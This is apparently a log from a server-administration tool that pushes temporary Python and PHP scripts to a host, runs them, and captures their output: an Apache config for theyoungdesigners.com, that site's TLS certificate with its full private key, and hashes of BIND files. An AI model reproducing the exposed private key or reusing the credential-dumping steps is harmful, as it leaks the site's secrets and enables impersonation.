    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-17 14:03:05: 

chmod 755 /tmp/pkp769306; /tmp/pkp769306; rm /tmp/pkp769306

2025-09-17 14:03:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-17 14:03:05: 

PUT: /tmp/pkp431243

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-17 14:03:05: 

chmod 755 /tmp/pkp431243; /tmp/pkp431243; rm /tmp/pkp431243

2025-09-17 14:03:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	5357
e9:36:23:49:19:ab:0a:b6:1b:d6:79:d5:04:74:a3:b8

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBZWaNfSJkCMgl9Goiaa0sKsHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTAwHhcNMjUwNzI0MDUwMTM3WhcNMjUxMDIyMDUwMTM2WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQD1kJmYK6MMuQafnmiZCuKzSwjgSElOXUBoMsiY4F/y6wlsmXar9gND
rBdfMzJuctjnQEg+54PzbJSj1dwomvDVgvIWR+Z/y6ke7pzqJrpFfrziQAPnC3hu
yh7fzB418EuHg7+QFcedupnaeAjMM6vSR6HHBCyYTqnXvmqC62l9x8O38BzOqEKa
GKkuQsv9vizdxMkFKWrAhon7H1FS8fosyeBUDFIzqyGHGZMqp14tVdYlsk4waxXP
j67GXkSlRgokxfWKhGQd/C203fgIv2ctFSxVUfVXom9pyWJC+wf/MVJom5LDwtLP
Xb3vJJB+iu+s1hi7hZ/+6/hqDAG4bPfHAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGqhqhUFha/e1VSoZuka58kQfizlMB8GA1UdIwQYMBaAFLu8
w0el5LypxsOkcgwQjaI14cjoMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMC5pLmxlbmNyLm9yZy8wIAYDVR0RBBkwF4IVdGhleW91bmdkZXNp
Z25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6G
HGh0dHA6Ly9yMTAuYy5sZW5jci5vcmcvOC5jcmwwggECBgorBgEEAdZ5AgQCBIHz
BIHwAO4AdQAS8U40vVNyTIQGGcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZg7BIEH
AAAEAwBGMEQCIFvYjX9fdyp0/IzTpi0/ymCgxg76dyG6n4P703SKf2G1AiAU4NxQ
5tU7RAu3g2N33E5+jA67irqS6A3PM74jnvQx2gB1ABoE/0nQVB1Ar/agw7/x2MRn
L07s7iNAaJhrF0Au3Il9AAABmDsEiP4AAAQDAEYwRAIgUPhisPJaBexQ9m2EEs4y
Ea6DjW7qxIpGtFUFpLEtXbICIHPmsfUF8dCxNYYI2JhU0JniKn5Kli4FKP3n9wkH
3inXMA0GCSqGSIb3DQEBCwUAA4IBAQAdf0WR0mXQR5VPnDNT8QxuKGSwy6IaMTTM
bXCQQmWxSbIaLn5XRIH2eP2htB8m08GbbbCraCNIhm74psab5A7in6tSmlgaBc/h
/sldoZEIzFX4+BqwVB+A4cXRKSNoMisn8o507KYsvB3O8on1RJhJX+ynVfadp6Eo
/e/oHkjaPLUwK2eaUCyM5au0WJBtHVy3pD39fPfx1JluExoZ4Xh0PWi8Xh0vNNxw
KQ0qn6YawLkIa8z/zy5NoYDJ2aNnC7uJGrcHxIzc4l7HUrbhcIl/KlQulVgF5NK2
MvwO8l0AMvrcpXJGL8q0q5x7Wg51SoBbZ2XmuYMbzLzKk0wi6QNl
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQD1kJmYK6MMuQaf
nmiZCuKzSwjgSElOXUBoMsiY4F/y6wlsmXar9gNDrBdfMzJuctjnQEg+54PzbJSj
1dwomvDVgvIWR+Z/y6ke7pzqJrpFfrziQAPnC3huyh7fzB418EuHg7+QFcedupna
eAjMM6vSR6HHBCyYTqnXvmqC62l9x8O38BzOqEKaGKkuQsv9vizdxMkFKWrAhon7
H1FS8fosyeBUDFIzqyGHGZMqp14tVdYlsk4waxXPj67GXkSlRgokxfWKhGQd/C20
3fgIv2ctFSxVUfVXom9pyWJC+wf/MVJom5LDwtLPXb3vJJB+iu+s1hi7hZ/+6/hq
DAG4bPfHAgMBAAECggEALISHY8/dYkwUyFEmc0BG8uwSct6H853yNDGorhZXLqmv
brGvkuMpmlYTcp3Mcbt+WQYNUuITyMiRddYqcG4OZRa1HpbwUZCxWzs01ToqILkm
MvoZ+wPYVHVt/XJ6s5qZhrq6urtIEe8nPzTtm19usdNsn7DBCOeR4NvTYWKeIEAA
8aZpAtqjYk657T+hM0aH/hofpw59DWjvaiPeecHXSlDiGJKEAVO2GOnYlvAOODfr
/zWdf7wLlI/c6qOB7sk3JE609yOOcqs1gnSO8FVFp/cnGvSiTOZA7wnFcjhhTXh6
Tdxrf9KYKijx20l8Vy2r+5yfUbsYXj5i4biP4q+30QKBgQD68VtPKL9g++chqFbV
b9Y7GNiyR01Ch3LFFzmEg0KaiMWpKOWueXI0vjbRESG2gopEIIwJYLmOqYQjpUCw
9qW5fn37IAyykAEG7FJ9+pQW5Fnob9JUCyPVX0zhkdv+29J7e16q7a++/rRf2J0O
4k2VvjuKFxnHeUzwnU25CJUT2QKBgQD6g39vnHrK4xOuhhUFo6cai0gOh0G/uN9v
aWAQ6GoIyASNJyFIkMAfjrtLd259EBWqeR+0B4gWFBC52qBKTulGVruddyXCWz7I
oVPri7gUmAHPAGqYPNFjkFe7qo2aimQ1qV7rqpc0NJ2lRjoeEgPsz9fWn4rvnPC7
6K4h1RBEnwKBgQDy9ZOORMlmQP47HB1WcP1eImRL17T54OJB6IaLwfpOXHXjnfEi
x/rHDhNMv+WAK0trQofS3I9LjNyfFnRX4bX6rnmTFii1Ca+04EHOLzoKH/Tcksd1
D4QWJjrteqchTfuwCnZRz+cEaN6CndsSehDcFl7XCB6xfsP7gpGpwKF1oQKBgCa1
0ShfBr55Ll5mi7MOYdEBOsY78lX87FHb96NFNrVaqxFgvYzoCTgXJyv3LZSXurFX
/CUmkMnQmfEOLnytCvD6kA06DxSkYuQ/wacBNRXBk234Q4B4zWZUNKpkJXN+9RMx
s+A4wRqpEr8qRerFn+OlDlY02xRBrRVsVBQYR2ZDAoGBAICp0om/8SWyE18pqA8S
cM5jERhuPMiKAaV3fUtdziJz0iNGGh0ZwdJH7K+1wzdD+9pcCQKklEHHVdiJEkZk
3ZA9OlIehWYcYgTcLxC6aM2XuhcPSCzn79f/kYxFJYOhXmczaLIus5l4VNqqvxyD
C6u+ZBNIgD/K9vG5M00n+a9H
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQS6hSk/eaL6JzBkuoBI110DANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDPV+XmxFQS7bRH/sknWHZGUCiMHT6I3wWd1bUYKb3dtVq/+vbOo76vACFL
YlpaPAEvxVgD9on/jhFD68G14BQHlo9vH9fnuoE5CXVlt8KvGFs3Jijno/QHK20a
/6tYvJWuQP/py1fEtVt/eA0YYbwX51TGu0mRzW4Y0YCF7qZlNrx06rxQTOr8IfM4
FpOUurDTazgGzRYSespSdcitdrLCnF2YRVxvYXvGLe48E1KGAdlX5jgc3421H5KR
mudKHMxFqHJV8LDmowfs/acbZp4/SItxhHFYyTr6717yW0QrPHTnj7JHwQdqzZq3
DZb3EoEmUVQK7GH29/Xi8orIlQ2NAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBS7vMNHpeS8qcbDpHIMEI2iNeHI6DAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAkrHnQTfreZ2B5s3iJeE6IOmQRJWjgVzPw139vaBw1bGWKCIL0vIo
zwzn1OZDjCQiHcFCktEJr59L9MhwTyAWsVrdAfYf+B9haxQnsHKNY67u4s5Lzzfd
u6PUzeetUK29v+PsPmI2cJkxp+iN3epi4hKu9ZzUPSwMqtCceb7qPVxEbpYxY1p9
1n5PJKBLBX9eb9LU6l8zSxPWV7bK3lG4XaMJgnT9x3ies7msFtpKK5bDtotij/l0
GaKeA97pb5uwD9KgWvaFXMIEt8jVTjLEvwRdvCn294GPDF08U8lAkIv7tghluaQh
1QnlE4SEN4LOECj8dsIGJXpGUk3aU3KkJz9icKy+aUgA+2cP21uh6NcDIS3XyfaZ
QjmDQ993ChII8SXWupQZVBiIpcWO4RqZk3lr7Bz5MUCwzDIA359e57SSq5CCkY0N
4B6Vulk7LktfwrdGNVI5BsC9qqxSwSKgRJeZ9wygIaehbHFHFhcBaMDKpiZlBHyz
rsnnlFXCb5s8HKn5LsUgGvB24L7sGNZP2CX7dhHov+YhD+jozLW2p9W4959Bz2Ei
RmqDtmiXLnzqTpXbI+suyCsohKRg6Un0RC47+cpiVwHiXZAW+cn8eiNIjqbVgXLx
KPpdzvvtTnOPlC7SQZSYmdunr3Bf9b77AiC/ZidstK36dRILKz7OA54=
-----END CERTIFICATE-----






2025-09-17 14:03:06: Establishing a connection
2025-09-17 14:03:06: 

PUT: /tmp/pkp817213

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-17 14:03:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp817213; rm /tmp/pkp817213'

2025-09-17 14:03:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
